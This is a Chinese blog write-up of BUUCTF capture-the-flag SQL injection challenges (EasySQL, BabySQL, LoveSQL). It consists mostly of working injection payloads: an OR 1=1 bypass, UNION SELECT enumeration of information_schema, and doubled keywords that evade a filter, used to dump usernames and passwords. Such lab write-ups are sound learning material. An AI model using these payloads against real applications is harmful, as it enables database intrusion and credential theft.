buuctf

极客大挑战2019-SQL注入

SQL注入的第一步就是查找注入点

EASYSQL

加#测试注入点是否为1'

 确定注入点为1',使用order by 查看行数,但不知道为什么在union select 1,2,3# 的时候就爆flag了

或者我们还能用1' or 1=1#

BABYSQL1

第一步还是确定注入点为1',尝试后发现

1' uniounionn selecselectt 1,2,database()#

1' uniounionn selecselectt 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables wherwheree table_schema=database()#

 

1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_schema=database()#

 

不知道为啥出现了六个字段

对geekuser表:

1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name='geekuser'#

对b4bsql表:

1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name='b4bsql'#

回显均为:

Hello 2!
Your password is 'id,username,password'

这就解释了上面第一次的代码为什么回显了三次‘id,username,password’

1' uniounionn selecselectt 1,2,group_concat(passwoorrd) frofromm b4bsql#

 获得flag

LOVESQL1

这道题是最普通的一类

我们确定完注入点为1'后,使用order by确定,然后使用联合注入即可

1' union select 1,2,3 #

1' union select 1,2,database() #

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()# 

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'#

1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#

最后可以发现flag

  • 9
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值